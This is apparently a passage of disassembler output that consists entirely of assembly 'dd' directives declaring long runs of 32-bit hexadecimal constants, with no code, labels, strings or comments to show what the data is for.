		dd 51144BC9h, 5F3AE2BEh, 2E29CC61h, 588E3C92h, 336F03Fh
		dd 7CE00F8Fh, 3464E5DAh, 4D6A8000h, 0E604F3A7h,	0AA72098Fh
		dd 1B806C24h, 0E8AE9A60h, 0A425020Bh, 5B9E03DFh, 38EDA0A2h
		dd 2AEF09FCh, 4404347Fh, 0FEC200C7h, 3E415E8Dh,	50FF33CFh
		dd 0D6E0F8h, 74E01139h,	5B1F9D59h, 3FF62400h, 949A4D70h
		dd 73F800DFh, 0EC015566h, 0D971690Eh, 0C1EA8702h, 4431515Bh
		dd 5A4D0758h, 6674E649h, 0AA00E892h, 7E54D14Fh,	2F7F8A8h
		dd 58B4F99Ch, 849093CCh, 281C8F45h, 0FD007533h,	3469E1DEh
		dd 0AD240070h, 0ACE84F05h, 1C023A1Dh, 0F412AAEEh, 0D4BEC068h
		dd 0E00B60C6h, 86EF4610h, 62C4490Fh, 0A60F809Fh, 908752A7h
		dd 0F2430448h, 9017B3A2h, 3333550h, 7CEE0800h, 2F8FEA82h
		dd 0F3E024ACh, 43828E1h, 24286E85h, 0DA89061h, 2100CFBBh
		dd 54D4763Bh, 0C28D26h,	6ADDCBC1h, 823053C8h, 7494FB50h
		dd 0DBAE4400h, 0CEC7AA79h, 7AF0572h, 4FDD02Ch, 0C03F5CDCh
		dd 964F925Ah, 0D16CC004h, 398072AAh, 90D28D28h,	0D9B93AEBh
		dd 36714D8Fh, 0B11C3720h, 5002EC3h, 2CFEC95Ah, 7704B8C2h
		dd 0BC8A241Bh, 0E7A500CCh, 9625A929h, 0DF00CD7Fh, 0E2AB9C8h
		dd 0B8667AF7h, 0CA170023h, 0CD32AC1Fh, 3538FB5Ah, 772300C4h
		dd 0EBC0558Ah, 537B0006h, 0BA3D302Fh, 0AC71D611h, 2C0B1B06h
		dd 0FA86D3Fh, 29A7E3FFh, 0A9CADFC0h, 1AF497C1h,	0D9B82B00h
		dd 7C2F4A1Bh, 69E00CBh,	439CC75Ch, 0AC268B2Ch, 710092C3h
		dd 0BD89B3E7h, 45FE00A9h, 84BB4F3Ah, 30740C5h, 9BF8B962h
		dd 8C732DA0h, 49CA00B1h, 0ED88E696h, 2B13A0FCh,	0F212EC3Ch
		dd 0CCFB1800h, 0FD685Ah, 18C1536h, 0EE4830F3h, 34C31E07h
		dd 40776EE9h, 0CED03147h, 15BD53h, 8781EE6Ch, 8076A143h
		dd 26B6DF00h, 4C175233h, 4DE0008Dh, 5B01407Ah, 0E7F02570h
		dd 46348100h, 8468A9E9h, 0F4F3E6F9h, 236C1352h,	0B664008Ch
		dd 31EA3D65h, 0D919A400h, 0DD2ED084h, 0B8B890h,	1FA237E2h
		dd 0FD58AD7h, 9E94E800h, 0CEB6DB73h, 99EB002Ch,	830D7DA0h
		dd 0DC7423D1h, 39AC0A12h, 0C36C7443h, 311BA867h, 34345949h
		dd 0B2539D00h, 0EBD96408h, 16B4DC05h, 10484C31h, 1D1C104Eh
		dd 6E1D0C02h, 0FEB4B303h, 0AB91487h, 0BA0634ABh, 71DC67BBh
		dd 6EA12807h, 183C17C0h, 0B379069Dh, 30FC55A3h,	0D31DD9E2h
		dd 3E340Ch, 0F86CE2D1h,	0FB8AD8h, 9B6D0BEh, 17B4DDD2h
		dd 4C4D3128h, 0B3779316h, 97330040h, 743CA114h,	26A7147Fh
		dd 1C90102Dh, 0D2E99180h, 0BE0F54CFh, 40B932D1h, 0B2F82D04h
		dd 36A8C061h, 44B030FDh, 0D537B700h, 0E738D3ADh, 0DADE00FCh
		dd 0F52B9D3Eh, 0E4E48A01h, 0EC591005h, 9400D979h, 0D0092819h
		dd 0F34A22h, 0D8BEC3B4h, 0BC0FC486h, 20E28CC2h,	0C0DB85C5h
		dd 0E68801CEh, 1C34CAB4h, 0FC44E28Bh, 0F900F7B0h, 1A5CBA7h
		dd 0BA6C82Fh, 7F9A95F4h, 0E699A780h, 4900BE4Eh,	70D2CC93h
		dd 1203F626h, 0BF7294h,	36207B9Dh, 0B3F0E6A8h, 0DF30ECBAh
		dd 0C03F7182h, 0C62100FAh, 91C39854h, 30B89C62h, 0D4C1A800h
		dd 0D77AC842h, 0EB703C6Fh
		dd 12BEF0CEh, 110C17FAh, 68B67DDFh, 23780007h, 0A7838899h
		dd 0D4034A15h, 0CE8E95ABh, 0CB6DEA9Dh, 41A9B214h, 7DC1692Fh
		dd 9E0A434h, 0F78FC7AEh, 0FBA34880h, 0A700BEB8h, 0AB6144ADh
		dd 0B0E95150h, 0C5AA0FFCh, 780D1A0h, 5F1B44Fh, 0ABE4A400h
		dd 1A302547h, 55950F38h, 7D4E9EF9h, 24C0D9AFh, 2B2944A3h
		dd 0FE1D5804h, 0D0C5F62Dh, 3A1F7480h, 0FB88C075h, 8A759AAh
		dd 20F76630h, 7409F2C6h, 3AD50320h, 4C6AF8C4h, 517574A8h
		dd 0C33DD209h, 407C250Bh, 3A6DC041h, 0E2C4620Ch, 87A51439h
		dd 2C06FCEDh, 5809E891h, 4B483Eh, 9F74CE84h, 31D61D3h
		dd 0E5BC6215h, 47D8C772h, 0F900EA0Fh, 5A8BC0F3h, 32F2F788h
		dd 9B8850E0h, 8AA0B452h, 0A100291Fh, 0AA1A9C5Dh, 0ED571Ch
		dd 3C440C4Ah, 0E3C2271Eh, 53C0F003h, 0A015F1A2h, 2E2D928Ch
		dd 0EE88639h, 0EC405843h, 48282A52h, 4DA8C900h,	0C46CB2ABh
		dd 0B7C5015Bh, 0B8DF31C1h, 0C7E830F6h, 219BEB00h, 0BC668ECDh
		dd 0ABA1207h, 0FCCCCC36h, 39370085h, 50B3D858h,	8330E300h
		dd 3F53F01Fh, 0E7B200C5h, 0C1482238h, 5504B1EFh, 0F65DF20Eh
		dd 838094A2h, 283EFE70h, 0D0787A01h, 6A13CB51h,	1AF8FE4h
		dd 66276F4Ch, 0F4242369h, 5803726Dh, 0ECBB9DE1h, 86B09867h
		dd 84DA00D2h, 0A24F945Eh, 0E013396h, 0DD3E54FDh, 7560AE19h
		dd 0C8740098h, 1AC72368h, 0F2006DFAh, 1C0DB047h, 19B022Eh
		dd 770FDECEh, 2145F05Eh, 17FAD0B6h, 5769FC00h, 1F9CE8Ch
		dd 8520003Eh, 775E625Ah, 0F00EEC1h, 0A976D615h,	0C9CD2BAh
		dd 3210E854h, 3B3B2258h, 98F3802Dh, 6EFD16EEh, 191230D0h
		dd 0E84208ECh, 0D93A4B00h, 0CEE0D7BAh, 7B3D0437h, 0BE6285ACh
		dd 42B5BB01h, 0F3C4831Ch, 9AF270h, 0E9D5A46Eh, 413D9D2Ah
		dd 267D7700h, 4A92E1Dh,	0A3954876h, 0DC9B4906h,	58001825h
		dd 0E30B1730h, 72665EEh, 578AE56Ch, 0F5C600E9h,	25288256h
		dd 0D700ACE8h, 469A1CB8h, 0CBD2FBh, 0E916FC73h,	3D5CF3CEh
		dd 5B75F801h, 6CDDCFAFh, 0FC1E0BF8h, 0A94B059h,	0DCE9153Fh
		dd 4E119CC0h, 5B80D5FBh, 0B7A24562h, 4014CB00h,	0CCD35610h
		dd 0BB0201E9h, 4E25038Dh, 60D2D816h, 48279700h,	39F76101h
		dd 59FA1F23h, 5780FC8Eh, 0E5A7B995h, 8C014D52h,	7B139B1Dh
		dd 0A0E3A21Bh, 50DBA54Ah, 15DD799h, 36A9EBEEh, 0DCAC7003h
		dd 0D71C73CDh, 1E6E95E7h, 3D849300h, 0E463694h,	6A92F2AFh
		dd 0A6AD9B40h, 0DF03AE2h, 0B99E0300h, 0E0D6C56Eh, 407E1E9Dh
		dd 9B6C0050h, 78BCDC73h, 9100F67Eh, 601318CFh, 7079EDh
		dd 947A90EFh, 1209AC3Eh, 0B80E2D00h, 3911DE18h,	249E005Fh
		dd 2F5160C7h, 571C98BBh, 0F900A2D8h, 762C4170h,	32990089h
		dd 9227D2CFh, 62F2A44Fh, 1786C0Fh, 424082F7h, 241C48BDh
		dd 1C2E14FCh, 0D5008481h, 5F8DC2A5h, 86010FD1h,	8F94EF4Fh
		dd 0B3FC931Fh, 4C747BEBh, 68051340h, 0F2042h, 0C3A95AD8h
		dd 0DE00BF94h, 0BC4A9821h, 147B2D4h, 0F0B1B5BBh, 53AEB48Ah
		dd 0EDA0EEE8h, 0D806042Bh, 124CEA6Eh, 194A1E18h, 0C2DA009Ah
		dd 77D098FFh, 0AAC06870h, 0A254F9BEh, 49C87DE1h, 5D003864h
		dd 94604C1Bh, 720093B2h, 128EE5D5h, 1053873h, 805D0FF9h
		dd 0DC67CAD2h, 5000AAFDh, 0C2301426h, 58FC5Ah, 0E3050D3Fh
		dd 2038963h, 1A4D9200h,	0F93A5DEDh, 0A73D1B6Ch,	0D6A01901h
		dd 0C87F1F13h, 0FB0C0E00h, 744E2809h, 0A4C09F77h, 35030A4Ch
		dd 510FDCCFh, 0EF3958E4h, 34CC3B39h, 93C79E00h,	8A1ED554h
		dd 626FB600h, 96BD5D78h, 0E45F3867h, 6E8F00FFh,	14C7E57Ah
		dd 2600D9D4h, 0EAA1CC8Dh, 614D4Fh, 4E0810E6h, 0DF49978Ch
		dd 0C634B900h, 8FCD306Ah, 925200B2h, 385B3CB6h,	0D3714E20h
		dd 0EA0593EAh, 0E8774DABh, 0F18034C7h, 7985B9h,	964B39Bh
		dd 91BF4027h, 0AB334Ch,	90CE706Ah, 2CDACCh, 0D012BA4Fh
		dd 0B61552EBh, 44004990h, 0D86F6D91h, 1D8126BDh, 6C467Ah
		dd 398C9356h, 1E1DEBCDh, 1000B79Fh, 4D0BC7FBh, 0EDAB00D7h
		dd 7475530h, 0B400D15Dh, 0B96A0EA6h, 9DE6504h, 0C5784A92h
		dd 6983E700h, 9100A087h, 0C671793Bh, 3C43C60h, 7D219775h
		dd 31A7E363h, 202CF06Fh, 17046D80h, 0C89382C9h,	0E7BE3CC0h
		dd 4810008h, 74181126h,	7C020780h, 7DAA2812h, 7B9DC00Bh
		dd 449A07B3h, 0C15B6A11h, 3FB1990Eh, 10E071C0h,	0C92B0047h
		dd 0F6389353h, 84017E1Ch, 8871CE85h, 3B60BA78h,	801D007Dh
		dd 70C88382h, 0BF767B95h, 0C4877601h, 0B4F78673h, 398978FCh
		dd 7FAE74CAh, 430E0103h, 30DBF91Ch, 5800BB14h, 8B3A994Bh
		dd 741FE184h, 0CEB74B3h, 9F5B67BDh, 36039D90h, 0CF1AE4F5h
		dd 0C714E97Bh, 16D032D1h, 99A23156h, 40FE1CB9h,	797D5C2Ch
		dd 0E50E771Dh, 0E4F33600h, 77BD714h, 2DB2021Eh,	0AC480023h
		dd 0B8005DFFh, 1DE9BDE2h, 741E84DBh, 0E83500DFh, 95D90E71h
		dd 48CF1072h, 1C47024Dh, 563482FDh, 504088A7h, 370A1610h
		dd 46101D14h, 6503381Eh, 5043BF89h, 5DDEB804h, 79767014h
		dd 61757Ah, 0FCCE3F71h,	1F6FBF55h, 39E1793Eh, 125880DDh
		dd 0E90C60B7h, 69D40054h, 114D7A02h, 4A1FACFDh,	6DCE7B2Ah
		dd 81968B86h, 256F76C8h, 0E2371CE0h, 7067006Eh,	0A635A3CCh
		dd 3D260A5Dh, 9600EEDBh, 0E34E6C41h, 3F2B0039h,	834F90FDh
		dd 0B7006DB3h, 0E644F81Fh, 0DAAD41h, 5E6A5586h,	702977A8h
		dd 0A61BBB00h, 881073D6h, 9B2E1D45h, 14B1809Dh,	0D5EB7E24h
		dd 0E171BC02h, 0A0D802EEh, 5EBA779Ch, 0BD0E036Eh, 25569F79h
		dd 218B0830h, 5E3198h, 886C1C49h, 0A9E74FA2h, 0B7A48150h
		dd 2A48BB3Fh, 7D00AC9Eh, 14BA186Eh, 33E57B77h, 0A7085F1Ch
		dd 45DE2107h, 74C06A18h, 1BA5DE2h, 4B683DD6h, 0F8A65780h
		dd 29337BDCh, 0C9D319Bh, 0B6353168h, 4000DB11h,	431FE6A2h
		dd 24389985h, 309A849Bh, 0A2487621h, 37A91E00h,	0A74104BAh
		dd 0AC083A8Fh, 0A69B2800h, 63718C22h, 1B5DDD3Eh, 23707924h
		dd 4217BB68h, 73DD0AAFh, 408C4434h, 0FFA24A7Ch,	0B3570165h
		dd 900A1E70h, 2859847Eh, 2A247754h, 1DAF2360h, 72214F4Dh
		dd 408903E5h, 68DB8DC4h, 0E3F0D3CAh, 6B337400h,	0F9814B7Ch
		dd 0C7C90143h, 0EA2C76F4h, 44F440E6h, 120C9DCBh, 988DC80Ah
		dd 0FE5D2E69h, 0FF900032h, 0EF1E65D1h, 520094EEh, 0E2959C06h
		dd 0F6F5553Dh, 22F0085h, 0C6CC745Bh, 0F1001B36h, 17274135h
		dd 1119EF6h, 1E988EF5h,	0C9AF20FBh, 2591ECFDh, 4CF7F80Eh
		dd 4900BD08h, 83EB210Ch, 2BA50E61h, 439F3D15h, 2DC37313h
		dd 36CB4BC8h, 7580223Fh, 0E403CE7Fh, 9E16A824h,	0E875885Fh
		dd 0D0E4D3h, 0CF25BC8Ch, 4A836CEFh, 0A58ADF07h,	0F9800290h
		dd 0E3AF59h, 2632F29Bh,	0F6289D93h, 804E4C39h, 0B8D1FADFh
		dd 4AD761h, 0E5E6730Bh,	0FE9A24FCh, 82230700h, 384B488Eh
		dd 6A40062h, 1E96846Fh,	4700952Bh, 3144E201h, 1A29C1Dh
		dd 0B698A0FCh, 805EA4F8h, 87C592A0h, 0B08630h, 0ED9B2DBDh
		dd 0B92F596Fh, 5EC29500h, 4F8B2BBh, 67F100DFh, 5418FB45h
		dd 9CA0D0B5h, 9D00915Bh, 80D40F32h, 3AA7D9Bh, 0CCCE3D3h
		dd 0F7D9A5C5h, 0DEB8406Ch, 767E7468h, 0D7DFCE00h, 379BB10Bh
		dd 0F35004DCh, 0AFBDD1BFh, 0F65742C0h, 0C420CEEh, 6811E979h
		dd 0B54948h, 518B362Dh,	6074AA7Eh, 87EB58F4h, 6900AB15h
		dd 0AFB6030Eh, 76F7FBh
		dd 0B336C0EDh, 4C7C41EFh, 0F2F139h, 0F2C12C2h, 0E4A278h
		dd 116D20C6h, 0FF9BD127h, 65BFB80Bh, 0D641805Ch, 0FB5DA9Eh
		dd 0F96DDBBEh, 60EA2367h, 8CB05744h, 15000A7Ah,	0C21CD0E7h
		dd 50F656DCh, 14D08Bh, 17827013h, 0CFA8A3ECh, 0B47CE800h
		dd 21AE7574h, 0BDFB0006h, 7E8033B6h, 0BB12D515h, 20074986h
		dd 3F80F2C5h, 85744Ah, 417F4544h, 0AF6D1318h, 4849B300h
		dd 1CED558Fh, 5086EE21h, 4AAB0ECh, 6BDF0F6Dh, 0D80900D5h
		dd 0DBAA0h, 0D9CF39D0h,	0BB52A8B4h, 0E9D2EC00h,	9424C951h
		dd 6D5F001Ah, 6942FADBh, 340029DFh, 3DF77097h, 38126C52h
		dd 0FE003E5Bh, 0FD6A9D4Eh, 6B3A9665h, 0CD018082h, 0E507BD59h
		dd 0F060140Fh, 0F507C8DDh, 506E5FA5h, 37AA8D9Dh, 0A4D7CF00h
		dd 67566BEEh, 52010097h, 4C8CA06Ah, 0D300581Eh,	237DA9E1h
		dd 0AC9616h, 9889FF4Bh,	9C027840h, 0DAFEB906h, 381F39h
		dd 705F0377h, 0B65BA3EDh, 91554200h, 5785A902h,	3F4C0084h
		dd 0BA90D849h, 56317FFCh, 8DE1A018h, 775F3810h,	719EEA01h
		dd 9D83166Bh, 9C35E8h, 84C469A6h, 6CBCF80Ch, 4709F002h
		dd 40434241h, 0EC3D8ED4h, 113960ACh, 5965325Bh,	0B31DD50Bh
		dd 7ED80004h, 43DAEEh, 378DA956h, 13198796h, 18486207h
		dd 64E0545Fh, 7FAA076h,	153F856Ah, 7DDC6070h, 0AE00223Bh
		dd 1DCAF0FFh, 7D5504Dh,	843406Fh, 644F20AFh, 280F1647h
		dd 89D710h, 18217C7Eh, 0A510069h, 0C60E443Ah, 3013C78Fh
		dd 380085E4h, 0BC69AF83h, 5DD0034Bh, 0AEB4931Ah, 36996A80h
		dd 830F4490h, 3E7D5FB0h, 4610A483h, 0D053D81Fh,	0A7A62803h
		dd 0EEA10F89h, 0A5A09ECAh, 0E965111Eh, 8B2E5000h, 27B47EB5h
		dd 0C06F09C3h, 697C09ABh, 0D986FD00h, 4C55D283h, 0AC5021CFh
		dd 40230080h, 8B5A2917h, 0BE1D1C06h, 0A51E9AFBh, 7A2AC582h
		dd 616C48D8h, 67510F3Eh, 0F6809440h, 0AD2C812Dh, 0FC364602h
		dd 60C1CF98h, 7712091h,	0D6E43189h, 7D24A0DAh, 0E12CB17h
		dd 880EDED4h, 0FB6600D5h, 464B727h, 85F7F499h, 9364C098h
		dd 8C00C7CCh, 0AB6A1012h, 0F4AF0516h, 0AD56266Fh, 2A858260h
		dd 0D0611192h, 12C11046h, 8D560153h, 5C5F680Ch,	4524C891h
		dd 28D5A30Ch, 3BFE105Eh, 18C877E9h, 65833700h, 0E2DDA182h
		dd 9FDC7800h, 0BEAAEF5h, 245D785Fh, 1688447h, 6A1C447Ch
		dd 0B181946Dh, 0FEFC8080h, 0E2D5DB88h, 0BB9012F3h, 0C9140045h
		dd 3412A89Fh, 0E1CF775h, 9C80D227h, 0D894BA9Eh,	0A3010093h
		dd 7A04CEBDh, 1114B6A4h, 3882B92h, 451AF21Eh, 5295B03Ah
		dd 93E01266h, 2318004Ah, 59F87D44h, 0EFF6630Bh,	5FB20015h
		dd 24C3C65h, 3553A86Eh,	808FBB2Bh, 680440DFh, 57E26432h
		dd 805A263Ah, 8FE45588h, 650AF9h, 6CE7AE46h, 0A270DE58h
		dd 6A60867Bh, 44F65A41h, 474E0054h, 57D56FD3h, 0EF5037A8h
		dd 0BA5C2F80h, 0C84F00F2h, 0CBF26744h, 54780029h, 3AB761D5h
		dd 2126AA5Ah, 880930A8h, 1938A030h, 493C8B16h, 3701687Ah
		dd 53A49304h, 2E75D8FFh, 6B10800h, 33446231h, 0BBAF00F9h
		dd 58E1EB70h, 503E61FAh, 0FB6EAC0Dh, 0A052A30Eh, 0E4BA9296h
		dd 18AF00F1h, 0E031B1C0h, 6C002EB0h, 0E20748F6h, 2514C4h
		dd 0F9EDC593h, 3D621194h, 0D3EACB00h, 0D12BA3BEh, 0FAD4003Ah
		dd 957C15F6h, 6FF42D12h, 771CA9F8h, 62C3A1CAh, 0D891DBBCh
		dd 0E4B6C2h, 0DDACD464h, 6345D8CDh, 463B2B00h, 0CF0F9F07h
		dd 0C179001Ch, 0B9AAFEB8h, 0F92C8EC3h, 0C0E64B1h, 7DCBE3A3h
		dd 8005FAE6h, 0EEA5CCBFh, 0B91D13A8h, 50904197h, 0C074A77Dh
		dd 275AFE1h, 0B099B698h, 0E40E7516h, 0D0690089h, 0FA13A0h
		dd 6A0CADBEh, 45C9DEFh,	0FEB3BD00h, 1A4EC6Ch, 6F342477h
		dd 0B8570364h, 0F1A061D1h, 0DA6F5274h, 195D8770h, 0B0B21B90h
		dd 0EA160E29h, 0FD8722AFh, 9992A66Ch, 0F490D72h, 0E9960188h
		dd 0F195A232h, 7AB76D0h, 3AD8E427h, 505DC3E1h, 0FF217E0h
		dd 0BA333C0Dh, 3803286Dh, 86D9C2A6h, 70152Ch, 33BAC374h
		dd 1F7E3EE4h, 5F973500h, 0EFB7BD9Ch, 9415005Bh,	0E2DAFCAh
		dd 89DD101Ah, 0A432C181h, 2847B16Dh, 8C90F3D7h,	2A80393h
		dd 0E1BE4B87h, 0EF80FF27h, 1A45FC3Eh, 20B0136Fh, 6EFE93B0h
		dd 9A671C5Eh, 0E0EF8049h, 0DA2C7AEAh, 0B394D00h, 0C181CFAAh
		dd 9FAC0198h, 3B82EDE5h, 0B11A6092h, 4E9ED100h,	0F7D82FE8h
		dd 724700EEh, 777329ADh, 0BD3A9A07h, 0B38380CFh, 71BA1E7Eh
		dd 267001AAh, 3A9686B4h, 0E4F4F099h, 6D00A8BAh,	91BAE8A0h
		dd 498913h, 0A8B10AB2h,	0A2769EC5h, 0ECF5B515h,	372000A4h
		dd 0A759B3D5h, 896800EDh, 0E2A485F6h, 4C0718C7h, 0E271AFDh
		dd 8F126760h, 4D6D00DEh, 0A3C34391h, 3B03786Eh,	8B486C7Bh
		dd 0C001C12Dh, 2A491A80h, 0BD150E26h, 0E1E75104h, 0D1C0AE6Ch
		dd 0F81FDE50h, 0B5D60C6Dh, 5A301024h, 0F3C88854h, 0BCC9E262h
		dd 54EEE05Fh, 2E3700B2h, 6B44E7C4h, 31D4C4Eh, 4000AE2Dh
		dd 0A5E63A6Eh, 2B5F06Dh, 192BBDC3h, 91E19523h, 5900EBF7h
		dd 0B8DB4EF1h, 0E0E10E54h, 16140082h, 0A3AF0F68h, 29C0ED5Fh
		dd 0E5797403h, 0E3BB2889h, 1CBA44ACh, 9F2FFF00h, 5E939DBh
		dd 85DC2833h, 5F700F80h, 1D4060EFh, 1C0E14D8h, 98D3A703h
		dd 0C0763B91h, 468F804h, 709F0194h, 0A33490D4h,	7CA1B057h
		dd 0EC4010B7h, 516A09B2h, 7500D94Ah, 0DF09161Bh, 11F67118h
		dd 16C8D331h, 5AFE6BDh,	8356488Dh, 0D2FBA590h, 0EDDB4900h
		dd 425AEA75h, 0A0E2000Fh, 0F9E82714h, 0E10F80F1h, 0A00131DCh
		dd 5AD53086h, 27691EF0h, 0A17CC125h, 0D8B496FFh, 1EE29519h
		dd 4A5EA29h, 985EA2C1h,	60366FF0h, 1B8A1911h, 3A17E45Ah
		dd 5A0DBCD1h, 0EFF08E1h, 59D3D021h, 88A11620h, 4C004F9Dh
		dd 0A513D6B9h, 7091170Ch, 0D1F20038h, 8ACA959Fh, 2AEA69D5h
		dd 1ACC3D18h, 9BA078h, 18DD8D33h, 8EC5581Fh, 969F7800h
		dd 1A1D496Ah, 89733083h, 2E31EA20h, 2060EE29h, 307332E2h
		dd 0D30089F9h, 8C07242Ch, 30BF9EEDh, 1FF9A01Ah,	0CA28AFE7h
		dd 0C3038012h, 0D225FC10h, 5793C09Fh, 8C58D091h, 43D6C23h
		dd 0C93AE35Ah, 0D720A762h, 62B559D0h, 8B7778B6h, 0A5EB9D00h
		dd 589A3126h, 80AC1B29h, 0B2E52289h, 3A507CBBh,	0FC8654D3h
		dd 2189CF94h, 41227D02h, 0A7A521BDh, 64C107D8h,	11809A4Dh
		dd 1750E035h, 0AD0CCAA8h, 8DA18A1h, 0E321C032h,	0C38050E8h
		dd 0A8C88700h, 2A81DCE0h, 2F0F0AD6h, 3CDC9F18h,	0B33FB41Ch
		dd 0CBF80CB0h, 0F130EC98h, 788589A2h, 2C48015Dh, 240DFA6Dh
		dd 0D80898DDh, 6AE321h,	1683BF5Dh, 20986F9h, 0B006F101h
		dd 0D6EBABA1h, 25BDA840h, 399C0A4h, 775EC89Fh, 70584D32h
		dd 5CFC30E8h, 0D2C4C11h, 0DF80DC88h, 0FFFB5D6Eh, 652F02EFh
		dd 0D2D7CCDBh, 20843441h, 0D4044E9Dh, 0F90C2053h, 0F7DE4480h
		dd 54A04926h, 400ACD1Dh, 7FFF5EBAh, 1F79F15Fh, 8617AE00h
		dd 703B8958h, 6ACFEC7h,	84278896h, 2222C0DEh, 107D2433h
		dd 0C82C81A4h, 0E463448Dh, 6102F918h, 7AC2FB43h, 33AC8237h
		dd 1EE0028Ch, 709DDA61h, 0FAEE90A3h, 18A0A618h,	304F1F49h
		dd 7CA0BEA4h, 0CF289BA8h, 0D0A79CD8h, 0EB60A444h, 0C00CDACCh
		dd 0C080038Bh, 488A654h, 0F027956Ah, 9D4D0698h,	0B59109D9h
		dd 120C2D22h, 5700C899h, 0F07FE79Eh, 44C443h, 0FB7DDDC7h
		dd 2E873311h, 9D1ED406h
		dd 7B81BA37h, 75C900A9h, 8FD7C209h, 9900961Fh, 0CDD65006h
		dd 30D547E0h, 9B611980h, 86002D3Dh, 0FECF1F40h,	7D55E77Fh
		dd 81CE0173h, 0E928B89Ah, 2AEAE07Eh, 19948E32h,	0F855C0E6h
		dd 0C4261BFDh, 95A2C82Bh, 2A60D898h, 8ACB5414h,	28E423C0h
		dd 26346A4h, 0A81C50E7h, 103131D2h, 50EFD8h, 3748F8B7h
		dd 9B75E786h, 36309A78h, 943F9B9h, 271700FEh, 4CE67074h
		dd 3729CE8Fh, 23008C9Eh, 91096088h, 0D4281751h,	0C5471CB8h
		dd 87A0201Bh, 73A940EAh, 1112E976h, 7843AB38h, 978BA7C5h
		dd 44080089h, 992FFC6h,	0D5DC5C97h, 39DE182Fh, 4EDC3BC0h
		dd 8B8468A6h, 8540A60Bh, 0FED4108h, 9C9810A2h, 0DC289759h
		dd 0A460A4C6h, 3B245E79h, 64A0A286h, 0F436521Ch, 1052200h
		dd 6755B654h, 0E6E91A00h, 331C9AA7h, 0BD580CDDh, 77399920h
		dd 20149758h, 83242437h, 2AF80BB7h, 22DC2002h, 67940429h
		dd 9C703941h, 9BC98415h, 1B06D66Bh, 2900A1A6h, 0EFC02F4Bh
		dd 33BA75h, 0B35D0971h,	6E325EA6h, 90400250h, 35E898A0h
		dd 8B00789Ah, 0A29A1184h, 7D4538E5h, 79BD60F9h,	0C81C7902h
		dd 0C3002170h, 0BB7E7BDBh, 73B652h, 964511B0h, 6B69E970h
		dd 72E16801h, 9F275C22h, 20F89456h, 75481DE5h, 0F127C08Ch
		dd 600CD3h, 1B8F7488h, 388CDDC2h, 0C9172E00h, 9B5EC4EAh
		dd 607E487Fh, 1796400h,	630F9182h, 0A3901119h, 0B06B73F9h
		dd 0BB76811Bh, 0FF16DC02h, 4CE6D183h, 6EBD0180h, 0D79793EBh
		dd 0F214201Ah, 0BFC75318h, 0EFA41A8h, 6F8BA1D2h, 4824AC54h
		dd 2A11CCh, 968F64C3h, 0F20DD9h, 4C3A10BBh, 59B4B6F5h
		dd 54062BF4h, 64BECA84h, 807E80h, 3ADFF894h, 1F4BB9A1h
		dd 0F0202813h, 0BEA83800h, 0F8D572h, 4ECF9388h,	0AFC44D2Eh
		dd 0D0EAB404h, 0FE401D80h, 96FC626Eh, 9FF420E3h, 2260F892h
		dd 6266DB21h, 7BEF1F46h, 0FC4C40FAh, 0EB402E0h,	4EB2401h
		dd 36627FA7h, 0B274E4E2h, 0AE390484h, 40123768h, 0DFB3A28Fh
		dd 31C3098Ah, 0A4A03974h, 87F8D37Ah, 773DCFEAh,	80F40CBFh
		dd 1F4D812Fh, 4B397Ah, 3C9F1BE2h, 0E6030473h, 0B87DAF93h
		dd 71C4F7EBh, 61C458C4h, 3552088h, 0A07B2015h, 0C0D8C535h
		dd 64309619h, 38E6E197h, 11942470h, 0A3C2678h, 1FCCAC5Bh
		dd 0FE844ADBh, 6F2C3EA4h, 80651108h, 3AE65A1Dh,	0AA0187E1h
		dd 0A1B159D5h, 4F8440F6h, 2C28400Ch, 0D9D75C12h, 6D1D0800h
		dd 249C90B9h, 0A69C7D55h, 80EB11CCh, 2C6F5D75h,	0C004B905h
		dd 1F5D73E0h, 46DFBE00h, 6CCDC83Fh, 8123159Ch, 660EA02Eh
		dd 33C09372h, 0FBF941ECh, 19BC8600h, 21AA6C7Dh,	3AD0080h
		dd 5E48B966h, 8960FADEh, 0AF92BE38h, 4BD20714h,	2831A8Fh
		dd 0A0C065C1h, 0E55519A6h, 0E06C30ECh, 5E22E1C1h, 984B97F6h
		dd 0A4C086C8h, 0EE391137h, 0B7D70B8Fh, 0D8802BEBh, 0C7D57B5Eh
		dd 489A9378h, 0F09EA8C0h, 3DFCCC97h, 0BB36271Ch, 1A1CC080h
		dd 68263173h, 0D1F89884h, 33C0E84Dh, 30A7B2F0h,	30B89778h
		dd 0EEDA9B20h, 26A909D5h, 344EBC9Ch, 803DB903h,	0A9D8108Ch
		dd 808888D7h, 6300C0ECh, 24A652BFh, 0D9A80417h,	90214C11h
		dd 3A6C505Ch, 40022EF6h, 591A5DF7h, 791051B2h, 788418DAh
		dd 0D61700BDh, 0D93C2BB8h, 20F1E810h, 19015E78h, 0B005C2DCh
		dd 60E25F40h, 4907BF3Ch, 0EF2344B9h, 4B5D7101h,	9118652Ch
		dd 1F6FE488h, 422A035Dh, 9EE66E48h, 19D23461h, 237262F4h
		dd 2A114697h, 6260DD07h, 181CC02Bh, 6500E5B7h, 3B49A1BFh
		dd 169524DEh, 5EC14447h, 694C1828h, 0C0A89F37h,	0CF004869h
		dd 9126CBEh, 2FD5F36h, 2C30708Dh, 808216DEh, 6D0121A0h
		dd 39801736h, 0A9585706h, 561FBF89h, 0AC44D3CDh, 8A08B93h
		dd 0BC382C3Bh, 956580E0h, 0FA252CE4h, 0BC249748h, 1F138C89h
		dd 551EBA4Bh, 885080BDh, 9F547644h, 9CED54DCh, 4B2C8CCFh
		dd 7E15E862h, 8029889Ch, 916263D8h, 513D02D6h, 583A8498h
		dd 7C80F51Ch, 2DB677h, 7420EC82h, 937EB33Bh, 81BCF103h
		dd 233767C1h, 6101D570h, 0CE977162h, 0DE882318h, 3F620079h
		dd 0CCF21F63h, 3A028D45h, 6FED1D0Ah, 8C304948h,	5BF7860h
		dd 2BBB541Fh, 9768C851h, 0C8482F14h, 55AA01E4h,	98FC8E11h
		dd 0D17420A9h, 5CBB18DCh, 0E206AC5Fh, 692C87B3h, 0CB08DA00h
		dd 0FF608B6Ah, 674E026Ch, 3278B752h, 7E5D5EE0h,	8DC2BCA2h
		dd 18CEBC11h, 7662084Ch, 26C46697h, 6264D940h, 13CEF70h
		dd 47921E98h, 0A6D8E17Fh, 0FC70494Eh, 1D24B25Ch, 240BABA2h
		dd 0EC588628h, 5E0919F7h, 62CC1039h, 1BB44014h,	30DE4085h
		dd 38D8285Ch, 2E09C4C4h, 5247A27h, 9088425Eh, 0FF242C1Ch
		dd 93C8E960h, 1F49122Fh, 8B7613D4h, 988261E5h, 7E21D5BFh
